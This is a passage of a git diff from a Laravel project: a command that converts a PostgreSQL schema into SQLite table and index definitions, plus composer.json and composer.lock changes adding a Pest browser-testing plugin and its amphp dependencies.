{$path}"); + $this->info(count($tables).' tables, '.count($migrations).' migration records.'); + + return self::SUCCESS; + } + + private function getTables(string $connection): array + { + return collect(DB::connection($connection)->select( + "SELECT tablename FROM pg_tables WHERE schemaname = 'public' ORDER BY tablename" + ))->pluck('tablename')->toArray(); + } + + private function getColumns(string $connection, string $table): array + { + return DB::connection($connection)->select( + "SELECT column_name, data_type, character_maximum_length, column_default, + is_nullable, udt_name, numeric_precision, numeric_scale, datetime_precision + FROM information_schema.columns + WHERE table_schema = 'public' AND table_name = ? + ORDER BY ordinal_position", + [$table] + ); + } + + private function generateCreateTable(string $table, array $columns): string + { + $lines = []; + + foreach ($columns as $col) { + $lines[] = ' '.$this->generateColumnDef($table, $col); + } + + return "CREATE TABLE IF NOT EXISTS \"{$table}\" (\n".implode(",\n", $lines)."\n);\n"; + } + + private function generateColumnDef(string $table, object $col): string + { + $name = $col->column_name; + $sqliteType = $this->convertType($col); + + // Auto-increment primary key for id columns + if ($name === 'id' && $sqliteType === 'INTEGER' && $col->is_nullable === 'NO' && str_contains((string) $col->column_default, 'nextval')) { + return "\"{$name}\" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL"; + } + + $parts = ["\"{$name}\"", $sqliteType]; + + // Default value + $default = $col->column_default; + if ($default !== null && ! str_contains($default, 'nextval')) { + $default = $this->cleanDefault($default); + $parts[] = "DEFAULT {$default}"; + } + + // NOT NULL + if ($col->is_nullable === 'NO') { + $parts[] = 'NOT NULL'; + } + + return implode(' ', $parts); + } + + private function convertType(object $col): string + { + $pgType = $col->data_type; + + return match (true) { + in_array($pgType, ['bigint', 'integer', 'smallint']) => 'INTEGER', + $pgType === 'boolean' => 'INTEGER', + in_array($pgType, ['character varying', 'text', 'USER-DEFINED']) => 'TEXT', + str_contains($pgType, 'timestamp') => 'TEXT', + in_array($pgType, ['json', 'jsonb']) => 'TEXT', + $pgType === 'uuid' => 'TEXT', + $pgType === 'double precision' => 'REAL', + $pgType === 'numeric' => 'REAL', + $pgType === 'date' => 'TEXT', + default => 'TEXT', + }; + } + + private function cleanDefault(string $default): string + { + foreach ($this->castRemovals as $cast) { + $default = str_replace($cast, '', $default); + } + + // Remove array type casts like ::text[] + $default = preg_replace('/::[\w\s]+(\[\])?/', '', $default); + + return $default; + } + + private function getIndexes(string $connection, array $tables): array + { + $results = []; + + $indexes = DB::connection($connection)->select( + "SELECT indexname, tablename, indexdef FROM pg_indexes + WHERE schemaname = 'public' + ORDER BY tablename, indexname" + ); + + foreach ($indexes as $idx) { + $def = $idx->indexdef; + + // Skip primary key indexes + if (str_contains($def, '_pkey')) { + continue; + } + + // Skip PG-specific indexes (GIN, GIST, expression indexes) + if (preg_match('/USING (gin|gist)/i', $def)) { + continue; + } + if (str_contains($def, '->>') || str_contains($def, '::')) { + continue; + } + + // Convert to SQLite-compatible CREATE INDEX + $unique = str_contains($def, 'UNIQUE') ? 'UNIQUE ' : ''; + + // Extract columns from the index definition + if (preg_match('/\((.+)\)$/', $def, $m)) { + $cols = $m[1]; + $results[] = "CREATE {$unique}INDEX IF NOT EXISTS \"{$idx->indexname}\" ON \"{$idx->tablename}\" ({$cols});"; + } + } + + return $results; + } +} diff --git a/composer.json b/composer.json index 1c36df1ea..fc71dea8f 100644 --- a/composer.json +++ b/composer.json @@ -69,6 +69,7 @@ "mockery/mockery": "^1.6.12", "nunomaduro/collision": "^8.8.3", "pestphp/pest": "^4.3.2", + "pestphp/pest-plugin-browser": "^4.2", "phpstan/phpstan": "^2.1.38", "rector/rector": "^2.3.5", "serversideup/spin": "^3.1.1", diff --git a/composer.lock b/composer.lock index 708382500..7c1e000e5 100644 --- a/composer.lock +++ b/composer.lock @@ -4,7 +4,7 @@ "Read more about it at https://getcomposer.org/doc/01-basic-usage.md#installing-dependencies", "This file is @generated automatically" ], - "content-hash": "d22beb5f7db243339d029a288bdfe33e", + "content-hash": "21d43f41d2f2e275403e77ccc66ec553", "packages": [ { "name": "aws/aws-crt-php", @@ -11636,6 +11636,1228 @@ } ], "packages-dev": [ + { + "name": "amphp/amp", + "version": "v3.1.1", + "source": { + "type": "git", + "url": "https://github.com/amphp/amp.git", + "reference": "fa0ab33a6f47a82929c38d03ca47ebb71086a93f" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/amphp/amp/zipball/fa0ab33a6f47a82929c38d03ca47ebb71086a93f", + "reference": "fa0ab33a6f47a82929c38d03ca47ebb71086a93f", + "shasum": "" + }, + "require": { + "php": ">=8.1", + "revolt/event-loop": "^1 || ^0.2" + }, + "require-dev": { + "amphp/php-cs-fixer-config": "^2", + "phpunit/phpunit": "^9", + "psalm/phar": "5.23.1" + }, + "type": "library", + "autoload": { + "files": [ + "src/functions.php", + "src/Future/functions.php", + "src/Internal/functions.php" + ], + "psr-4": { + "Amp\\": "src" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Aaron Piotrowski", + "email": "aaron@trowski.com" + }, + { + "name": "Bob Weinand", + "email": "bobwei9@hotmail.com" + }, + { + "name": "Niklas Keller", + "email": "me@kelunik.com" + }, + { + "name": "Daniel Lowrey", + "email": "rdlowrey@php.net" + } + ], + "description": "A non-blocking concurrency framework for PHP applications.", + "homepage": "https://amphp.org/amp", + "keywords": [ + "async", + "asynchronous", + "awaitable", + "concurrency", + "event", + "event-loop", + "future", + "non-blocking", + "promise" + ], + "support": { + "issues": "https://github.com/amphp/amp/issues", + "source": "https://github.com/amphp/amp/tree/v3.1.1" + }, + "funding": [ + { + "url": "https://github.com/amphp", + "type": "github" + } + ], + "time": "2025-08-27T21:42:00+00:00" + }, + { + "name": "amphp/byte-stream", + "version": "v2.1.2", + "source": { + "type": "git", + "url": "https://github.com/amphp/byte-stream.git", + "reference": "55a6bd071aec26fa2a3e002618c20c35e3df1b46" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/amphp/byte-stream/zipball/55a6bd071aec26fa2a3e002618c20c35e3df1b46", + "reference": "55a6bd071aec26fa2a3e002618c20c35e3df1b46", + "shasum": "" + }, + "require": { + "amphp/amp": "^3", + "amphp/parser": "^1.1", + "amphp/pipeline": "^1", + "amphp/serialization": "^1", + "amphp/sync": "^2", + "php": ">=8.1", + "revolt/event-loop": "^1 || ^0.2.3" + }, + "require-dev": { + "amphp/php-cs-fixer-config": "^2", + "amphp/phpunit-util": "^3", + "phpunit/phpunit": "^9", + "psalm/phar": "5.22.1" + }, + "type": "library", + "autoload": { + "files": [ + "src/functions.php", + "src/Internal/functions.php" + ], + "psr-4": { + "Amp\\ByteStream\\": "src" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Aaron Piotrowski", + "email": "aaron@trowski.com" + }, + { + "name": "Niklas Keller", + "email": "me@kelunik.com" + } + ], + "description": "A stream abstraction to make working with non-blocking I/O simple.", + "homepage": "https://amphp.org/byte-stream", + "keywords": [ + "amp", + "amphp", + "async", + "io", + "non-blocking", + "stream" + ], + "support": { + "issues": "https://github.com/amphp/byte-stream/issues", + "source": "https://github.com/amphp/byte-stream/tree/v2.1.2" + }, + "funding": [ + { + "url": "https://github.com/amphp", + "type": "github" + } + ], + "time": "2025-03-16T17:10:27+00:00" + }, + { + "name": "amphp/cache", + "version": "v2.0.1", + "source": { + "type": "git", + "url": "https://github.com/amphp/cache.git", + "reference": "46912e387e6aa94933b61ea1ead9cf7540b7797c" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/amphp/cache/zipball/46912e387e6aa94933b61ea1ead9cf7540b7797c", + "reference": "46912e387e6aa94933b61ea1ead9cf7540b7797c", + "shasum": "" + }, + "require": { + "amphp/amp": "^3", + "amphp/serialization": "^1", + "amphp/sync": "^2", + "php": ">=8.1", + "revolt/event-loop": "^1 || ^0.2" + }, + "require-dev": { + "amphp/php-cs-fixer-config": "^2", + "amphp/phpunit-util": "^3", + "phpunit/phpunit": "^9", + "psalm/phar": "^5.4" + }, + "type": "library", + "autoload": { + "psr-4": { + "Amp\\Cache\\": "src" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Niklas Keller", + "email": "me@kelunik.com" + }, + { + "name": "Aaron Piotrowski", + "email": "aaron@trowski.com" + }, + { + "name": "Daniel Lowrey", + "email": "rdlowrey@php.net" + } + ], + "description": "A fiber-aware cache API based on Amp and Revolt.", + "homepage": "https://amphp.org/cache", + "support": { + "issues": "https://github.com/amphp/cache/issues", + "source": "https://github.com/amphp/cache/tree/v2.0.1" + }, + "funding": [ + { + "url": "https://github.com/amphp", + "type": "github" + } + ], + "time": "2024-04-19T03:38:06+00:00" + }, + { + "name": "amphp/dns", + "version": "v2.4.0", + "source": { + "type": "git", + "url": "https://github.com/amphp/dns.git", + "reference": "78eb3db5fc69bf2fc0cb503c4fcba667bc223c71" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/amphp/dns/zipball/78eb3db5fc69bf2fc0cb503c4fcba667bc223c71", + "reference": "78eb3db5fc69bf2fc0cb503c4fcba667bc223c71", + "shasum": "" + }, + "require": { + "amphp/amp": "^3", + "amphp/byte-stream": "^2", + "amphp/cache": "^2", + "amphp/parser": "^1", + "amphp/process": "^2", + "daverandom/libdns": "^2.0.2", + "ext-filter": "*", + "ext-json": "*", + "php": ">=8.1", + "revolt/event-loop": "^1 || ^0.2" + }, + "require-dev": { + "amphp/php-cs-fixer-config": "^2", + "amphp/phpunit-util": "^3", + "phpunit/phpunit": "^9", + "psalm/phar": "5.20" + }, + "type": "library", + "autoload": { + "files": [ + "src/functions.php" + ], + "psr-4": { + "Amp\\Dns\\": "src" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Chris Wright", + "email": "addr@daverandom.com" + }, + { + "name": "Daniel Lowrey", + "email": "rdlowrey@php.net" + }, + { + "name": "Bob Weinand", + "email": "bobwei9@hotmail.com" + }, + { + "name": "Niklas Keller", + "email": "me@kelunik.com" + }, + { + "name": "Aaron Piotrowski", + "email": "aaron@trowski.com" + } + ], + "description": "Async DNS resolution for Amp.", + "homepage": "https://github.com/amphp/dns", + "keywords": [ + "amp", + "amphp", + "async", + "client", + "dns", + "resolve" + ], + "support": { + "issues": "https://github.com/amphp/dns/issues", + "source": "https://github.com/amphp/dns/tree/v2.4.0" + }, + "funding": [ + { + "url": "https://github.com/amphp", + "type": "github" + } + ], + "time": "2025-01-19T15:43:40+00:00" + }, + { + "name": "amphp/hpack", + "version": "v3.2.1", + "source": { + "type": "git", + "url": "https://github.com/amphp/hpack.git", + "reference": "4f293064b15682a2b178b1367ddf0b8b5feb0239" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/amphp/hpack/zipball/4f293064b15682a2b178b1367ddf0b8b5feb0239", + "reference": "4f293064b15682a2b178b1367ddf0b8b5feb0239", + "shasum": "" + }, + "require": { + "php": ">=7.1" + }, + "require-dev": { + "amphp/php-cs-fixer-config": "^2", + "http2jp/hpack-test-case": "^1", + "nikic/php-fuzzer": "^0.0.10", + "phpunit/phpunit": "^7 | ^8 | ^9" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "3.x-dev" + } + }, + "autoload": { + "psr-4": { + "Amp\\Http\\": "src" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Daniel Lowrey", + "email": "rdlowrey@php.net" + }, + { + "name": "Bob Weinand" + }, + { + "name": "Niklas Keller", + "email": "me@kelunik.com" + }, + { + "name": "Aaron Piotrowski", + "email": "aaron@trowski.com" + } + ], + "description": "HTTP/2 HPack implementation.", + "homepage": "https://github.com/amphp/hpack", + "keywords": [ + "headers", + "hpack", + "http-2" + ], + "support": { + "issues": "https://github.com/amphp/hpack/issues", + "source": "https://github.com/amphp/hpack/tree/v3.2.1" + }, + "funding": [ + { + "url": "https://github.com/amphp", + "type": "github" + } + ], + "time": "2024-03-21T19:00:16+00:00" + }, + { + "name": "amphp/http", + "version": "v2.1.2", + "source": { + "type": "git", + "url": "https://github.com/amphp/http.git", + "reference": "3680d80bd38b5d6f3c2cef2214ca6dd6cef26588" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/amphp/http/zipball/3680d80bd38b5d6f3c2cef2214ca6dd6cef26588", + "reference": "3680d80bd38b5d6f3c2cef2214ca6dd6cef26588", + "shasum": "" + }, + "require": { + "amphp/hpack": "^3", + "amphp/parser": "^1.1", + "league/uri-components": "^2.4.2 | ^7.1", + "php": ">=8.1", + "psr/http-message": "^1 | ^2" + }, + "require-dev": { + "amphp/php-cs-fixer-config": "^2", + "league/uri": "^6.8 | ^7.1", + "phpunit/phpunit": "^9", + "psalm/phar": "^5.26.1" + }, + "type": "library", + "autoload": { + "files": [ + "src/functions.php", + "src/Internal/constants.php" + ], + "psr-4": { + "Amp\\Http\\": "src" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Niklas Keller", + "email": "me@kelunik.com" + }, + { + "name": "Aaron Piotrowski", + "email": "aaron@trowski.com" + } + ], + "description": "Basic HTTP primitives which can be shared by servers and clients.", + "support": { + "issues": "https://github.com/amphp/http/issues", + "source": "https://github.com/amphp/http/tree/v2.1.2" + }, + "funding": [ + { + "url": "https://github.com/amphp", + "type": "github" + } + ], + "time": "2024-11-23T14:57:26+00:00" + }, + { + "name": "amphp/http-client", + "version": "v5.3.4", + "source": { + "type": "git", + "url": "https://github.com/amphp/http-client.git", + "reference": "75ad21574fd632594a2dd914496647816d5106bc" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/amphp/http-client/zipball/75ad21574fd632594a2dd914496647816d5106bc", + "reference": "75ad21574fd632594a2dd914496647816d5106bc", + "shasum": "" + }, + "require": { + "amphp/amp": "^3", + "amphp/byte-stream": "^2", + "amphp/hpack": "^3", + "amphp/http": "^2", + "amphp/pipeline": "^1", + "amphp/socket": "^2", + "amphp/sync": "^2", + "league/uri": "^7", + "league/uri-components": "^7", + "league/uri-interfaces": "^7.1", + "php": ">=8.1", + "psr/http-message": "^1 | ^2", + "revolt/event-loop": "^1" + }, + "conflict": { + "amphp/file": "<3 | >=5" + }, + "require-dev": { + "amphp/file": "^3 | ^4", + "amphp/http-server": "^3", + "amphp/php-cs-fixer-config": "^2", + "amphp/phpunit-util": "^3", + "ext-json": "*", + "kelunik/link-header-rfc5988": "^1", + "laminas/laminas-diactoros": "^2.3", + "phpunit/phpunit": "^9", + "psalm/phar": "~5.23" + }, + "suggest": { + "amphp/file": "Required for file request bodies and HTTP archive logging", + "ext-json": "Required for logging HTTP archives", + "ext-zlib": "Allows using compression for response bodies." + }, + "type": "library", + "autoload": { + "files": [ + "src/functions.php", + "src/Internal/functions.php" + ], + "psr-4": { + "Amp\\Http\\Client\\": "src" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Daniel Lowrey", + "email": "rdlowrey@gmail.com" + }, + { + "name": "Niklas Keller", + "email": "me@kelunik.com" + }, + { + "name": "Aaron Piotrowski", + "email": "aaron@trowski.com" + } + ], + "description": "An advanced async HTTP client library for PHP, enabling efficient, non-blocking, and concurrent requests and responses.", + "homepage": "https://amphp.org/http-client", + "keywords": [ + "async", + "client", + "concurrent", + "http", + "non-blocking", + "rest" + ], + "support": { + "issues": "https://github.com/amphp/http-client/issues", + "source": "https://github.com/amphp/http-client/tree/v5.3.4" + }, + "funding": [ + { + "url": "https://github.com/amphp", + "type": "github" + } + ], + "time": "2025-08-16T20:41:23+00:00" + }, + { + "name": "amphp/http-server", + "version": "v3.4.4", + "source": { + "type": "git", + "url": "https://github.com/amphp/http-server.git", + "reference": "8dc32cc6a65c12a3543276305796b993c56b76ef" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/amphp/http-server/zipball/8dc32cc6a65c12a3543276305796b993c56b76ef", + "reference": "8dc32cc6a65c12a3543276305796b993c56b76ef", + "shasum": "" + }, + "require": { + "amphp/amp": "^3", + "amphp/byte-stream": "^2", + "amphp/cache": "^2", + "amphp/hpack": "^3", + "amphp/http": "^2", + "amphp/pipeline": "^1", + "amphp/socket": "^2.1", + "amphp/sync": "^2.2", + "league/uri": "^7.1", + "league/uri-interfaces": "^7.1", + "php": ">=8.1", + "psr/http-message": "^1 | ^2", + "psr/log": "^1 | ^2 | ^3", + "revolt/event-loop": "^1" + }, + "require-dev": { + "amphp/http-client": "^5", + "amphp/log": "^2", + "amphp/php-cs-fixer-config": "^2", + "amphp/phpunit-util": "^3", + "league/uri-components": "^7.1", + "monolog/monolog": "^3", + "phpunit/phpunit": "^9", + "psalm/phar": "~5.23" + }, + "suggest": { + "ext-zlib": "Allows GZip compression of response bodies" + }, + "type": "library", + "autoload": { + "files": [ + "src/Driver/functions.php", + "src/Middleware/functions.php", + "src/functions.php" + ], + "psr-4": { + "Amp\\Http\\Server\\": "src" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Daniel Lowrey", + "email": "rdlowrey@php.net" + }, + { + "name": "Bob Weinand" + }, + { + "name": "Niklas Keller", + "email": "me@kelunik.com" + }, + { + "name": "Aaron Piotrowski", + "email": "aaron@trowski.com" + } + ], + "description": "A non-blocking HTTP application server for PHP based on Amp.", + "homepage": "https://github.com/amphp/http-server", + "keywords": [ + "amp", + "amphp", + "async", + "http", + "non-blocking", + "server" + ], + "support": { + "issues": "https://github.com/amphp/http-server/issues", + "source": "https://github.com/amphp/http-server/tree/v3.4.4" + }, + "funding": [ + { + "url": "https://github.com/amphp", + "type": "github" + } + ], + "time": "2026-02-08T18:16:29+00:00" + }, + { + "name": "amphp/parser", + "version": "v1.1.1", + "source": { + "type": "git", + "url": "https://github.com/amphp/parser.git", + "reference": "3cf1f8b32a0171d4b1bed93d25617637a77cded7" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/amphp/parser/zipball/3cf1f8b32a0171d4b1bed93d25617637a77cded7", + "reference": "3cf1f8b32a0171d4b1bed93d25617637a77cded7", + "shasum": "" + }, + "require": { + "php": ">=7.4" + }, + "require-dev": { + "amphp/php-cs-fixer-config": "^2", + "phpunit/phpunit": "^9", + "psalm/phar": "^5.4" + }, + "type": "library", + "autoload": { + "psr-4": { + "Amp\\Parser\\": "src" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Aaron Piotrowski", + "email": "aaron@trowski.com" + }, + { + "name": "Niklas Keller", + "email": "me@kelunik.com" + } + ], + "description": "A generator parser to make streaming parsers simple.", + "homepage": "https://github.com/amphp/parser", + "keywords": [ + "async", + "non-blocking", + "parser", + "stream" + ], + "support": { + "issues": "https://github.com/amphp/parser/issues", + "source": "https://github.com/amphp/parser/tree/v1.1.1" + }, + "funding": [ + { + "url": "https://github.com/amphp", + "type": "github" + } + ], + "time": "2024-03-21T19:16:53+00:00" + }, + { + "name": "amphp/pipeline", + "version": "v1.2.3", + "source": { + "type": "git", + "url": "https://github.com/amphp/pipeline.git", + "reference": "7b52598c2e9105ebcddf247fc523161581930367" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/amphp/pipeline/zipball/7b52598c2e9105ebcddf247fc523161581930367", + "reference": "7b52598c2e9105ebcddf247fc523161581930367", + "shasum": "" + }, + "require": { + "amphp/amp": "^3", + "php": ">=8.1", + "revolt/event-loop": "^1" + }, + "require-dev": { + "amphp/php-cs-fixer-config": "^2", + "amphp/phpunit-util": "^3", + "phpunit/phpunit": "^9", + "psalm/phar": "^5.18" + }, + "type": "library", + "autoload": { + "psr-4": { + "Amp\\Pipeline\\": "src" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Aaron Piotrowski", + "email": "aaron@trowski.com" + }, + { + "name": "Niklas Keller", + "email": "me@kelunik.com" + } + ], + "description": "Asynchronous iterators and operators.", + "homepage": "https://amphp.org/pipeline", + "keywords": [ + "amp", + "amphp", + "async", + "io", + "iterator", + "non-blocking" + ], + "support": { + "issues": "https://github.com/amphp/pipeline/issues", + "source": "https://github.com/amphp/pipeline/tree/v1.2.3" + }, + "funding": [ + { + "url": "https://github.com/amphp", + "type": "github" + } + ], + "time": "2025-03-16T16:33:53+00:00" + }, + { + "name": "amphp/process", + "version": "v2.0.3", + "source": { + "type": "git", + "url": "https://github.com/amphp/process.git", + "reference": "52e08c09dec7511d5fbc1fb00d3e4e79fc77d58d" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/amphp/process/zipball/52e08c09dec7511d5fbc1fb00d3e4e79fc77d58d", + "reference": "52e08c09dec7511d5fbc1fb00d3e4e79fc77d58d", + "shasum": "" + }, + "require": { + "amphp/amp": "^3", + "amphp/byte-stream": "^2", + "amphp/sync": "^2", + "php": ">=8.1", + "revolt/event-loop": "^1 || ^0.2" + }, + "require-dev": { + "amphp/php-cs-fixer-config": "^2", + "amphp/phpunit-util": "^3", + "phpunit/phpunit": "^9", + "psalm/phar": "^5.4" + }, + "type": "library", + "autoload": { + "files": [ + "src/functions.php" + ], + "psr-4": { + "Amp\\Process\\": "src" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Bob Weinand", + "email": "bobwei9@hotmail.com" + }, + { + "name": "Aaron Piotrowski", + "email": "aaron@trowski.com" + }, + { + "name": "Niklas Keller", + "email": "me@kelunik.com" + } + ], + "description": "A fiber-aware process manager based on Amp and Revolt.", + "homepage": "https://amphp.org/process", + "support": { + "issues": "https://github.com/amphp/process/issues", + "source": "https://github.com/amphp/process/tree/v2.0.3" + }, + "funding": [ + { + "url": "https://github.com/amphp", + "type": "github" + } + ], + "time": "2024-04-19T03:13:44+00:00" + }, + { + "name": "amphp/serialization", + "version": "v1.0.0", + "source": { + "type": "git", + "url": "https://github.com/amphp/serialization.git", + "reference": "693e77b2fb0b266c3c7d622317f881de44ae94a1" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/amphp/serialization/zipball/693e77b2fb0b266c3c7d622317f881de44ae94a1", + "reference": "693e77b2fb0b266c3c7d622317f881de44ae94a1", + "shasum": "" + }, + "require": { + "php": ">=7.1" + }, + "require-dev": { + "amphp/php-cs-fixer-config": "dev-master", + "phpunit/phpunit": "^9 || ^8 || ^7" + }, + "type": "library", + "autoload": { + "files": [ + "src/functions.php" + ], + "psr-4": { + "Amp\\Serialization\\": "src" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Aaron Piotrowski", + "email": "aaron@trowski.com" + }, + { + "name": "Niklas Keller", + "email": "me@kelunik.com" + } + ], + "description": "Serialization tools for IPC and data storage in PHP.", + "homepage": "https://github.com/amphp/serialization", + "keywords": [ + "async", + "asynchronous", + "serialization", + "serialize" + ], + "support": { + "issues": "https://github.com/amphp/serialization/issues", + "source": "https://github.com/amphp/serialization/tree/master" + }, + "time": "2020-03-25T21:39:07+00:00" + }, + { + "name": "amphp/socket", + "version": "v2.3.1", + "source": { + "type": "git", + "url": "https://github.com/amphp/socket.git", + "reference": "58e0422221825b79681b72c50c47a930be7bf1e1" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/amphp/socket/zipball/58e0422221825b79681b72c50c47a930be7bf1e1", + "reference": "58e0422221825b79681b72c50c47a930be7bf1e1", + "shasum": "" + }, + "require": { + "amphp/amp": "^3", + "amphp/byte-stream": "^2", + "amphp/dns": "^2", + "ext-openssl": "*", + "kelunik/certificate": "^1.1", + "league/uri": "^6.5 | ^7", + "league/uri-interfaces": "^2.3 | ^7", + "php": ">=8.1", + "revolt/event-loop": "^1 || ^0.2" + }, + "require-dev": { + "amphp/php-cs-fixer-config": "^2", + "amphp/phpunit-util": "^3", + "amphp/process": "^2", + "phpunit/phpunit": "^9", + "psalm/phar": "5.20" + }, + "type": "library", + "autoload": { + "files": [ + "src/functions.php", + "src/Internal/functions.php", + "src/SocketAddress/functions.php" + ], + "psr-4": { + "Amp\\Socket\\": "src" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Daniel Lowrey", + "email": "rdlowrey@gmail.com" + }, + { + "name": "Aaron Piotrowski", + "email": "aaron@trowski.com" + }, + { + "name": "Niklas Keller", + "email": "me@kelunik.com" + } + ], + "description": "Non-blocking socket connection / server implementations based on Amp and Revolt.", + "homepage": "https://github.com/amphp/socket", + "keywords": [ + "amp", + "async", + "encryption", + "non-blocking", + "sockets", + "tcp", + "tls" + ], + "support": { + "issues": "https://github.com/amphp/socket/issues", + "source": "https://github.com/amphp/socket/tree/v2.3.1" + }, + "funding": [ + { + "url": "https://github.com/amphp", + "type": "github" + } + ], + "time": "2024-04-21T14:33:03+00:00" + }, + { + "name": "amphp/sync", + "version": "v2.3.0", + "source": { + "type": "git", + "url": "https://github.com/amphp/sync.git", + "reference": "217097b785130d77cfcc58ff583cf26cd1770bf1" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/amphp/sync/zipball/217097b785130d77cfcc58ff583cf26cd1770bf1", + "reference": "217097b785130d77cfcc58ff583cf26cd1770bf1", + "shasum": "" + }, + "require": { + "amphp/amp": "^3", + "amphp/pipeline": "^1", + "amphp/serialization": "^1", + "php": ">=8.1", + "revolt/event-loop": "^1 || ^0.2" + }, + "require-dev": { + "amphp/php-cs-fixer-config": "^2", + "amphp/phpunit-util": "^3", + "phpunit/phpunit": "^9", + "psalm/phar": "5.23" + }, + "type": "library", + "autoload": { + "files": [ + "src/functions.php" + ], + "psr-4": { + "Amp\\Sync\\": "src" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Aaron Piotrowski", + "email": "aaron@trowski.com" + }, + { + "name": "Niklas Keller", + "email": "me@kelunik.com" + }, + { + "name": "Stephen Coakley", + "email": "me@stephencoakley.com" + } + ], + "description": "Non-blocking synchronization primitives for PHP based on Amp and Revolt.", + "homepage": "https://github.com/amphp/sync", + "keywords": [ + "async", + "asynchronous", + "mutex", + "semaphore", + "synchronization" + ], + "support": { + "issues": "https://github.com/amphp/sync/issues", + "source": "https://github.com/amphp/sync/tree/v2.3.0" + }, + "funding": [ + { + "url": "https://github.com/amphp", + "type": "github" + } + ], + "time": "2024-08-03T19:31:26+00:00" + }, + { + "name": "amphp/websocket", + "version": "v2.0.4", + "source": { + "type": "git", + "url": "https://github.com/amphp/websocket.git", + "reference": "963904b6a883c4b62d9222d1d9749814fac96a3b" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/amphp/websocket/zipball/963904b6a883c4b62d9222d1d9749814fac96a3b", + "reference": "963904b6a883c4b62d9222d1d9749814fac96a3b", + "shasum": "" + }, + "require": { + "amphp/amp": "^3", + "amphp/byte-stream": "^2", + "amphp/parser": "^1", + "amphp/pipeline": "^1", + "amphp/socket": "^2", + "php": ">=8.1", + "revolt/event-loop": "^1" + }, + "require-dev": { + "amphp/php-cs-fixer-config": "^2", + "amphp/phpunit-util": "^3", + "phpunit/phpunit": "^9", + "psalm/phar": "^5.18" + }, + "suggest": { + "ext-zlib": "Required for compression" + }, + "type": "library", + "autoload": { + "files": [ + "src/functions.php" + ], + "psr-4": { + "Amp\\Websocket\\": "src" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Aaron Piotrowski", + "email": "aaron@trowski.com" + }, + { + "name": "Niklas Keller", + "email": "me@kelunik.com" + }, + { + "name": "Bob Weinand", + "email": "bobwei9@hotmail.com" + } + ], + "description": "Shared code for websocket servers and clients.", + "homepage": "https://github.com/amphp/websocket", + "keywords": [ + "amp", + "amphp", + "async", + "http", + "non-blocking", + "websocket" + ], + "support": { + "issues": "https://github.com/amphp/websocket/issues", + "source": "https://github.com/amphp/websocket/tree/v2.0.4" + }, + "funding": [ + { + "url": "https://github.com/amphp", + "type": "github" + } + ], + "time": "2024-10-28T21:28:45+00:00" + }, + { + "name": "amphp/websocket-client", + "version": "v2.0.2", + "source": { + "type": "git", + "url": "https://github.com/amphp/websocket-client.git", + "reference": "dc033fdce0af56295a23f63ac4f579b34d470d6c" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/amphp/websocket-client/zipball/dc033fdce0af56295a23f63ac4f579b34d470d6c", + "reference": "dc033fdce0af56295a23f63ac4f579b34d470d6c", + "shasum": "" + }, + "require": { + "amphp/amp": "^3", + "amphp/byte-stream": "^2.1", + "amphp/http": "^2.1", + "amphp/http-client": "^5", + "amphp/socket": "^2.2", + "amphp/websocket": "^2", + "league/uri": "^7.1", + "php": ">=8.1", + "psr/http-message": "^1|^2", + "revolt/event-loop": "^1" + }, + "require-dev": { + "amphp/http-server": "^3", + "amphp/php-cs-fixer-config": "^2", + "amphp/phpunit-util": "^3", + "amphp/websocket-server": "^3|^4", + "phpunit/phpunit": "^9", + "psalm/phar": "~5.26.1", + "psr/log": "^1" + }, + "type": "library", + "autoload": { + "files": [ + "src/functions.php" + ], + "psr-4": { + "Amp\\Websocket\\Client\\": "src" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Bob Weinand", + "email": "bobwei9@hotmail.com" + }, + { + "name": "Aaron Piotrowski", + "email": "aaron@trowski.com" + }, + { + "name": "Niklas Keller", + "email": "me@kelunik.com" + } + ], + "description": "Async WebSocket client for PHP based on Amp.", + "keywords": [ + "amp", + "amphp", + "async", + "client", + "http", + "non-blocking", + "websocket" + ], + "support": { + "issues": 